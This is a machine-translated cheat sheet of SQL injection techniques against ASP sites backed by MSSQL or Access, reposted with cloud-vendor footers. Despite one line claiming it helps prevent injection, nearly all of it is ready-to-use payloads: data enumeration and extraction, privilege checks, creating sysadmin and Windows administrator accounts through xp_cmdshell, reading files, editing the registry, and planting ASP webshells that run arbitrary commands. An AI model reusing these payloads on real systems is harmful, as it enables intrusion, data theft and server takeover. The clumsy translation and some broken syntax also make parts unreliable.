ASP Common Injection techniques

Source: Internet
Author: User
Tags add count insert key mssql net version access
Learning to inject skills is also a good thing, the enemy. Can be more effective to prevent injection, so that the site more secure

1. To determine whether there is injection
; and 1=1
; and 1=2

2. Preliminary Determination of MSSQL
; and user>0

3. Injection parameters are characters
' and [query conditions] and ' = '

4. No filter parameters during the search
' and [query conditions] and '%25 ' = '

5. Judge the database system
; and (select COUNT (*) from sysobjects) >0 MSSQL
; and (select COUNT (*) from msysobjects) >0 access

6. Guessing database
; and (Select Count (*) from [database name]) >0

7. Guess the field
; and (Select Count (field name) from database name) >0

8. Guess the length of the record in the field
; and (select top 1 len (field name) from database name) >0

9. (1) Guess the ASCII value of the field (access)
; and (select top 1 ASC (Mid (field name, 1,1)) from database name) >0

(2) Guessing the ASCII value of the field (MSSQL)
; and (select top 1 Unicode (substring (field name, 1,1)) from database name >0

10. Test permission structure (MSSQL)
; and 1= (SELECT is_srvrolemember (' sysadmin '));--
; and 1= (SELECT is_srvrolemember (' serveradmin '));--
; and 1= (SELECT is_srvrolemember (' setupadmin '));--
; and 1= (SELECT is_srvrolemember (' securityadmin '));--
; and 1= (SELECT is_srvrolemember (' diskadmin '));--
; and 1= (SELECT is_srvrolemember (' bulkadmin '));--
; and 1= (SELECT is_member (' db_owner '));--

11. Add the MSSQL and system account
; exec master.dbo.sp_addlogin username;--
; exec Master.dbo.sp_password null,username,password;--
; exec master.dbo.sp_addsrvrolemember SysAdmin username;--
; Exec master.dbo.xp_cmdshell ' net user username password/workstations:*/times:all/passwordchg:yes/passwordreq:yes/ Active:yes/add ';--
; Exec master.dbo.xp_cmdshell ' net user username Password/add ';--
; exec master.dbo.xp_cmdshell ' net localgroup Administrators Username/add ';--

12. (1) Traverse directory
; Create table dirs (paths varchar (), id int)
; Insert dirs exec master.dbo.xp_dirtree ' C:\ '
; and (select top 1 paths from dirs) >0
; and (select top 1 paths from dirs where paths is not in (' Paths ')) >)

(2) Traverse directory
CREATE table temp (ID nvarchar (255), Num1 nvarchar (255), num2 nvarchar (255), num3 nvarchar (255));--
; Insert temp exec master.dbo.xp_availablemedia;--get all current drives
; INSERT into temp (ID) Exec master.dbo.xp_subdirs ' c:\ ';--Get a subdirectory list
; INSERT into temp (ID,NUM1) exec master.dbo.xp_dirtree ' c:\ ';--Get the directory tree structure of all subdirectories
; INSERT into temp (ID) Exec master.dbo.xp_cmdshell ' type c:\web\index.asp ';--View the contents of a file

Stored Procedures in 13.mssql
Xp_regenumvalues registry root Key, subkey
; exec xp_regenumvalues ' HKEY_LOCAL_MACHINE ', ' SOFTWARE\Microsoft\Windows\CurrentVersion\Run ' returns all key values in more than one recordset
Xp_regread root key, subkey, key value name
; exec xp_regread ' HKEY_LOCAL_MACHINE ', ' software\microsoft\windows\currentversion ', ' CommonFilesDir ' returns the value of the set key
Xp_regwrite root key, subkey, value name, value type, value
A value type has 2 REG_SZ representing a character type, REG_DWORD representing an integral type
; exec xp_regwrite ' HKEY_LOCAL_MACHINE ', ' Software\microsoft\windows\currentversion ',
' Testvaluename ', ' REG_SZ ', ' hello ' written to the registry
Xp_regdeletevalue root key, subkey, Value name
EXEC xp_regdeletevalue ' HKEY_LOCAL_MACHINE ', ' software\microsoft\windows\currentversion ', ' TestValueName ' deletes a value
Xp_regdeletekey ' HKEY_LOCAL_MACHINE ', ' Software\microsoft\windows\currentversion\testkey ' delete key, including all values under the key

14.mssql Backup to create Webshell
Use model
CREATE table cmd (str image);
INSERT into cmd (str) VALUES (' <% Dim oscript%> ');
Backup Database model to disk= ' c:\l.asp ';

15.mssql built-in function
; and (select @ @version) >0 Gets the version number of Windows
; and user_name () = ' dbo ' Determines whether the current system's connected user is an SA
; and (select USER_NAME ()) >0 The connection user of the current system
; and (select Db_name ()) >0 get the database that is currently connected



16. The Concise Webshell
Use model
CREATE table cmd (str image);
INSERT into cmd (str) VALUES (' <%=server.createobject ("Wscript.Shell"). EXEC ("cmd.exe/c" &request ("C")). Stdout.readall%> ');
Backup Database model to disk= ' g:\wwwtest\l.asp '



Related Article

Alibaba Cloud 10 Year Anniversary

With You, We are Shaping a Digital World, 2009-2019

Learn more >

Apsara Conference 2019

The Rise of Data Intelligence, September 25th - 27th, Hangzhou, China

Learn more >

Alibaba Cloud Free Trial

Learn and experience the power of Alibaba Cloud with a free trial worth $300-1200 USD

Learn more >

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.